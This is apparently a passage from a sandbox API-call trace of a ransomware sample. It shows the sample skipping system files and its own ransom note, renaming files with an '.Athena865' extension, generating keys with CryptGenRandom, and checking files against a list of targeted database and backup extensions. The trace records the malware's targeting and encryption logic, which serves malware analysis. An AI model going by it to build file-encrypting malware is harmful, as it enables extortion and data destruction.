[0052.074] lstrcmpiW (lpString1="2BPJ3u.mkv.lnk", lpString2=".ini") returned 1 [0052.074] lstrlenW (lpString=".sys") returned 4 [0052.074] lstrcmpiW (lpString1="2BPJ3u.mkv.lnk", lpString2=".sys") returned 1 [0052.074] lstrlenW (lpString="2BPJ3u.mkv.lnk") returned 14 [0052.074] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\2BPJ3u.mkv.lnk.Athena865") returned 78 [0052.075] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\2BPJ3u.mkv.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\2bpj3u.mkv.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\2BPJ3u.mkv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\2bpj3u.mkv.lnk.athena865"), dwFlags=0x1) returned 1 [0052.079] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\2BPJ3u.mkv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\2bpj3u.mkv.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.079] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=988) returned 1 [0052.079] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.080] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.080] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.080] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.080] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.080] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.081] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6e0, lpName=0x0) returned 0x154 [0052.081] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6e0) returned 0x100000 [0052.081] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.081] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.081] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0052.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.082] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.082] CloseHandle (hObject=0x154) returned 1 [0052.082] CloseHandle (hObject=0x17c) returned 1 [0052.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.084] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbebba0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xafbebba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xafbebba0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x9b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3YVoBFm.mkv.lnk", cAlternateFileName="3YVOBF~1.LNK")) returned 1 [0052.084] lstrcmpiW (lpString1="3YVoBFm.mkv.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.084] lstrcmpiW (lpString1="3YVoBFm.mkv.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.084] lstrcmpiW (lpString1="3YVoBFm.mkv.lnk", lpString2=".") returned 1 [0052.084] lstrcmpiW (lpString1="3YVoBFm.mkv.lnk", lpString2="..") returned 1 [0052.084] lstrcmpiW (lpString1="3YVoBFm.mkv.lnk", lpString2="windows") returned -1 [0052.084] lstrcmpiW (lpString1="3YVoBFm.mkv.lnk", lpString2="bootmgr") returned -1 [0052.084] lstrcmpiW (lpString1="3YVoBFm.mkv.lnk", lpString2="temp") returned -1 [0052.084] lstrcmpiW (lpString1="3YVoBFm.mkv.lnk", lpString2="pagefile.sys") returned -1 [0052.084] lstrcmpiW (lpString1="3YVoBFm.mkv.lnk", lpString2="boot") returned -1 [0052.084] lstrcmpiW (lpString1="3YVoBFm.mkv.lnk", lpString2="ids.txt") returned -1 [0052.084] lstrcmpiW (lpString1="3YVoBFm.mkv.lnk", lpString2="ntuser.dat") returned -1 [0052.084] lstrcmpiW (lpString1="3YVoBFm.mkv.lnk", lpString2="perflogs") returned -1 [0052.084] lstrcmpiW (lpString1="3YVoBFm.mkv.lnk", lpString2="MSBuild") returned -1 [0052.084] lstrlenW (lpString="3YVoBFm.mkv.lnk") returned 15 [0052.084] lstrcpyW (in: lpString1=0x241e8b4, lpString2="3YVoBFm.mkv.lnk" | out: lpString1="3YVoBFm.mkv.lnk") returned="3YVoBFm.mkv.lnk" [0052.084] lstrlenW (lpString="3YVoBFm.mkv.lnk") returned 15 [0052.084] lstrlenW (lpString="Athena865") returned 9 [0052.084] lstrcmpiW (lpString1="m.mkv.lnk", lpString2="Athena865") returned 1 [0052.084] lstrlenW (lpString=".dll") returned 4 [0052.084] lstrcmpiW (lpString1="3YVoBFm.mkv.lnk", lpString2=".dll") returned 1 [0052.084] lstrlenW (lpString=".lnk") returned 4 [0052.084] lstrcmpiW (lpString1="3YVoBFm.mkv.lnk", lpString2=".lnk") returned 1 [0052.084] lstrlenW (lpString=".ini") returned 4 [0052.084] lstrcmpiW (lpString1="3YVoBFm.mkv.lnk", lpString2=".ini") returned 1 [0052.084] lstrlenW (lpString=".sys") returned 4 [0052.085] lstrcmpiW (lpString1="3YVoBFm.mkv.lnk", lpString2=".sys") returned 1 [0052.085] lstrlenW (lpString="3YVoBFm.mkv.lnk") returned 15 [0052.085] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\3YVoBFm.mkv.lnk.Athena865") returned 79 [0052.085] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\3YVoBFm.mkv.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\3yvobfm.mkv.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\3YVoBFm.mkv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\3yvobfm.mkv.lnk.athena865"), dwFlags=0x1) returned 1 [0052.086] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\3YVoBFm.mkv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\3yvobfm.mkv.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.086] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2483) returned 1 [0052.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.086] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.086] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.087] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.087] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.087] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcc0, lpName=0x0) returned 0x154 [0052.087] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcc0) returned 0x100000 [0052.087] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.088] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.088] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.088] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.088] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.088] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.088] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.088] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0052.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.089] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.089] CloseHandle (hObject=0x154) returned 1 [0052.089] CloseHandle (hObject=0x17c) returned 1 [0052.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.090] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2ed4a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb23326a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb23326a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xec3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5JH81rpePN6WPn_.lnk", cAlternateFileName="5JH81R~1.LNK")) returned 1 [0052.090] lstrcmpiW (lpString1="5JH81rpePN6WPn_.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.090] lstrcmpiW (lpString1="5JH81rpePN6WPn_.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.090] lstrcmpiW (lpString1="5JH81rpePN6WPn_.lnk", lpString2=".") returned 1 [0052.090] lstrcmpiW (lpString1="5JH81rpePN6WPn_.lnk", lpString2="..") returned 1 [0052.090] lstrcmpiW (lpString1="5JH81rpePN6WPn_.lnk", lpString2="windows") returned -1 [0052.090] lstrcmpiW (lpString1="5JH81rpePN6WPn_.lnk", lpString2="bootmgr") returned -1 [0052.090] lstrcmpiW (lpString1="5JH81rpePN6WPn_.lnk", lpString2="temp") returned -1 [0052.090] lstrcmpiW (lpString1="5JH81rpePN6WPn_.lnk", lpString2="pagefile.sys") returned -1 [0052.090] lstrcmpiW (lpString1="5JH81rpePN6WPn_.lnk", lpString2="boot") returned -1 [0052.090] lstrcmpiW (lpString1="5JH81rpePN6WPn_.lnk", lpString2="ids.txt") returned -1 [0052.090] lstrcmpiW (lpString1="5JH81rpePN6WPn_.lnk", lpString2="ntuser.dat") returned -1 [0052.091] lstrcmpiW (lpString1="5JH81rpePN6WPn_.lnk", lpString2="perflogs") returned -1 [0052.091] lstrcmpiW (lpString1="5JH81rpePN6WPn_.lnk", lpString2="MSBuild") returned -1 [0052.091] lstrlenW (lpString="5JH81rpePN6WPn_.lnk") returned 19 [0052.091] lstrcpyW (in: lpString1=0x241e8b4, lpString2="5JH81rpePN6WPn_.lnk" | out: lpString1="5JH81rpePN6WPn_.lnk") returned="5JH81rpePN6WPn_.lnk" [0052.091] lstrlenW (lpString="5JH81rpePN6WPn_.lnk") returned 19 [0052.091] lstrlenW (lpString="Athena865") returned 9 [0052.091] lstrcmpiW (lpString1="6WPn_.lnk", lpString2="Athena865") returned -1 [0052.091] lstrlenW (lpString=".dll") returned 4 [0052.091] lstrcmpiW (lpString1="5JH81rpePN6WPn_.lnk", lpString2=".dll") returned 1 [0052.091] lstrlenW (lpString=".lnk") returned 4 [0052.091] lstrcmpiW (lpString1="5JH81rpePN6WPn_.lnk", lpString2=".lnk") returned 1 [0052.091] lstrlenW (lpString=".ini") returned 4 [0052.091] lstrcmpiW (lpString1="5JH81rpePN6WPn_.lnk", lpString2=".ini") returned 1 [0052.091] lstrlenW (lpString=".sys") returned 4 [0052.091] lstrcmpiW (lpString1="5JH81rpePN6WPn_.lnk", lpString2=".sys") returned 1 [0052.091] lstrlenW (lpString="5JH81rpePN6WPn_.lnk") returned 19 [0052.091] lstrlenW (lpString="bak") returned 3 [0052.091] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0052.091] lstrlenW (lpString="ba_") returned 3 [0052.091] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0052.091] lstrlenW (lpString="dbb") returned 3 [0052.091] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0052.091] lstrlenW (lpString="vmdk") returned 4 [0052.091] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0052.091] lstrlenW (lpString="rar") returned 3 [0052.091] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0052.091] lstrlenW (lpString="zip") returned 3 [0052.091] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0052.091] lstrlenW (lpString="tgz") returned 3 [0052.091] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0052.091] lstrlenW (lpString="vbox") returned 4 [0052.091] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0052.092] lstrlenW (lpString="vdi") returned 3 [0052.092] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0052.092] lstrlenW (lpString="vhd") returned 3 [0052.092] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0052.092] lstrlenW (lpString="vhdx") returned 4 [0052.092] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0052.092] lstrlenW (lpString="avhd") returned 4 [0052.092] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0052.092] lstrlenW (lpString="db") returned 2 [0052.092] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0052.092] lstrlenW (lpString="db2") returned 3 [0052.092] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0052.092] lstrlenW (lpString="db3") returned 3 [0052.092] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0052.092] lstrlenW (lpString="dbf") returned 3 [0052.092] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0052.092] lstrlenW (lpString="mdf") returned 3 [0052.092] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0052.092] lstrlenW (lpString="mdb") returned 3 [0052.092] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0052.092] lstrlenW (lpString="sql") returned 3 [0052.092] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0052.092] lstrlenW (lpString="sqlite") returned 6 [0052.092] lstrcmpiW (lpString1="n_.lnk", lpString2="sqlite") returned -1 [0052.092] lstrlenW (lpString="sqlite3") returned 7 [0052.092] lstrcmpiW (lpString1="Pn_.lnk", lpString2="sqlite3") returned -1 [0052.092] lstrlenW (lpString="sqlitedb") returned 8 [0052.092] lstrcmpiW (lpString1="WPn_.lnk", lpString2="sqlitedb") returned 1 [0052.092] lstrlenW (lpString="xml") returned 3 [0052.092] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0052.092] lstrlenW (lpString="$er") returned 3 [0052.092] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0052.092] lstrlenW (lpString="4dd") returned 3 [0052.092] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0052.093] lstrlenW (lpString="4dl") returned 3 [0052.093] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0052.093] lstrlenW (lpString="^^^") returned 3 [0052.093] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0052.093] lstrlenW (lpString="abs") returned 3 [0052.093] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0052.093] lstrlenW (lpString="abx") returned 3 [0052.093] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0052.093] lstrlenW (lpString="accdb") returned 5 [0052.093] lstrcmpiW (lpString1="_.lnk", lpString2="accdb") returned -1 [0052.093] lstrlenW (lpString="accdc") returned 5 [0052.093] lstrcmpiW (lpString1="_.lnk", lpString2="accdc") returned -1 [0052.093] lstrlenW (lpString="accde") returned 5 [0052.093] lstrcmpiW (lpString1="_.lnk", lpString2="accde") returned -1 [0052.093] lstrlenW (lpString="accdr") returned 5 [0052.093] lstrcmpiW (lpString1="_.lnk", lpString2="accdr") returned -1 [0052.093] lstrlenW (lpString="accdt") returned 5 [0052.093] lstrcmpiW (lpString1="_.lnk", lpString2="accdt") returned -1 [0052.093] lstrlenW (lpString="accdw") returned 5 [0052.093] lstrcmpiW (lpString1="_.lnk", lpString2="accdw") returned -1 [0052.093] lstrlenW (lpString="accft") returned 5 [0052.093] lstrcmpiW (lpString1="_.lnk", lpString2="accft") returned -1 [0052.093] lstrlenW (lpString="adb") returned 3 [0052.093] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.093] lstrlenW (lpString="adb") returned 3 [0052.093] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.093] lstrlenW (lpString="ade") returned 3 [0052.093] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0052.093] lstrlenW (lpString="adf") returned 3 [0052.093] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0052.093] lstrlenW (lpString="adn") returned 3 [0052.093] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0052.093] lstrlenW (lpString="adp") returned 3 [0052.093] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0052.093] lstrlenW (lpString="alf") returned 3 [0052.093] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0052.093] lstrlenW (lpString="ask") returned 3 [0052.094] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0052.094] lstrlenW (lpString="btr") returned 3 [0052.094] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0052.094] lstrlenW (lpString="cat") returned 3 [0052.094] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0052.094] lstrlenW (lpString="cdb") returned 3 [0052.094] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0052.094] lstrlenW (lpString="ckp") returned 3 [0052.094] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0052.094] lstrlenW (lpString="cma") returned 3 [0052.094] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0052.094] lstrlenW (lpString="cpd") returned 3 [0052.094] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0052.094] lstrlenW (lpString="dacpac") returned 6 [0052.094] lstrcmpiW (lpString1="n_.lnk", lpString2="dacpac") returned 1 [0052.094] lstrlenW (lpString="dad") returned 3 [0052.094] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0052.094] lstrlenW (lpString="dadiagrams") returned 10 [0052.094] lstrcmpiW (lpString1="N6WPn_.lnk", lpString2="dadiagrams") returned 1 [0052.094] lstrlenW (lpString="daschema") returned 8 [0052.094] lstrcmpiW (lpString1="WPn_.lnk", lpString2="daschema") returned 1 [0052.094] lstrlenW (lpString="db-journal") returned 10 [0052.094] lstrcmpiW (lpString1="N6WPn_.lnk", lpString2="db-journal") returned 1 [0052.094] lstrlenW (lpString="db-shm") returned 6 [0052.094] lstrcmpiW (lpString1="n_.lnk", lpString2="db-shm") returned 1 [0052.094] lstrlenW (lpString="db-wal") returned 6 [0052.094] lstrcmpiW (lpString1="n_.lnk", lpString2="db-wal") returned 1 [0052.094] lstrlenW (lpString="dbc") returned 3 [0052.094] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0052.094] lstrlenW (lpString="dbs") returned 3 [0052.094] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0052.094] lstrlenW (lpString="dbt") returned 3 [0052.094] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0052.094] lstrlenW (lpString="dbv") returned 3 [0052.094] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0052.094] lstrlenW (lpString="dbx") returned 3 [0052.095] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0052.095] lstrlenW (lpString="dcb") returned 3 [0052.095] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0052.095] lstrlenW (lpString="dct") returned 3 [0052.095] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0052.095] lstrlenW (lpString="dcx") returned 3 [0052.095] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0052.095] lstrlenW (lpString="ddl") returned 3 [0052.095] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0052.095] lstrlenW (lpString="dlis") returned 4 [0052.095] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1 [0052.095] lstrlenW (lpString="dp1") returned 3 [0052.095] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1 [0052.095] lstrlenW (lpString="dqy") returned 3 [0052.095] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1 [0052.095] lstrlenW (lpString="dsk") returned 3 [0052.095] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1 [0052.095] lstrlenW (lpString="dsn") returned 3 [0052.095] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1 [0052.095] lstrlenW (lpString="dtsx") returned 4 [0052.095] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1 [0052.095] lstrlenW (lpString="dxl") returned 3 [0052.095] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1 [0052.095] lstrlenW (lpString="eco") returned 3 [0052.095] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1 [0052.095] lstrlenW (lpString="ecx") returned 3 [0052.095] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1 [0052.095] lstrlenW (lpString="edb") returned 3 [0052.095] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1 [0052.095] lstrlenW (lpString="epim") returned 4 [0052.095] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1 [0052.095] lstrlenW (lpString="fcd") returned 3 [0052.095] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1 [0052.095] lstrlenW (lpString="fdb") returned 3 [0052.095] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1 [0052.095] lstrlenW (lpString="fic") returned 3 [0052.096] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1 [0052.096] lstrlenW (lpString="flexolibrary") returned 12 [0052.096] lstrcmpiW (lpString1="ePN6WPn_.lnk", lpString2="flexolibrary") returned -1 [0052.096] lstrlenW (lpString="fm5") returned 3 [0052.096] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1 [0052.096] lstrlenW (lpString="fmp") returned 3 [0052.096] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1 [0052.096] lstrlenW (lpString="fmp12") returned 5 [0052.096] lstrcmpiW (lpString1="_.lnk", lpString2="fmp12") returned -1 [0052.096] lstrlenW (lpString="fmpsl") returned 5 [0052.096] lstrcmpiW (lpString1="_.lnk", lpString2="fmpsl") returned -1 [0052.096] lstrlenW (lpString="fol") returned 3 [0052.096] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1 [0052.096] lstrlenW (lpString="fp3") returned 3 [0052.096] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1 [0052.096] lstrlenW (lpString="fp4") returned 3 [0052.096] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1 [0052.096] lstrlenW (lpString="fp5") returned 3 [0052.096] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1 [0052.096] lstrlenW (lpString="fp7") returned 3 [0052.096] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1 [0052.096] lstrlenW (lpString="fpt") returned 3 [0052.096] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1 [0052.096] lstrlenW (lpString="frm") returned 3 [0052.096] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1 [0052.096] lstrlenW (lpString="gdb") returned 3 [0052.096] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0052.096] lstrlenW (lpString="gdb") returned 3 [0052.096] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0052.096] lstrlenW (lpString="grdb") returned 4 [0052.096] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1 [0052.096] lstrlenW (lpString="gwi") returned 3 [0052.096] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1 [0052.096] lstrlenW (lpString="hdb") returned 3 [0052.097] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1 [0052.097] lstrlenW (lpString="his") returned 3 [0052.097] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1 [0052.097] lstrlenW (lpString="ib") returned 2 [0052.097] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1 [0052.097] lstrlenW (lpString="idb") returned 3 [0052.097] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1 [0052.097] lstrlenW (lpString="ihx") returned 3 [0052.097] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1 [0052.097] lstrlenW (lpString="itdb") returned 4 [0052.097] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1 [0052.097] lstrlenW (lpString="itw") returned 3 [0052.097] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1 [0052.097] lstrlenW (lpString="jet") returned 3 [0052.097] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1 [0052.097] lstrlenW (lpString="jtx") returned 3 [0052.097] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1 [0052.097] lstrlenW (lpString="kdb") returned 3 [0052.097] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1 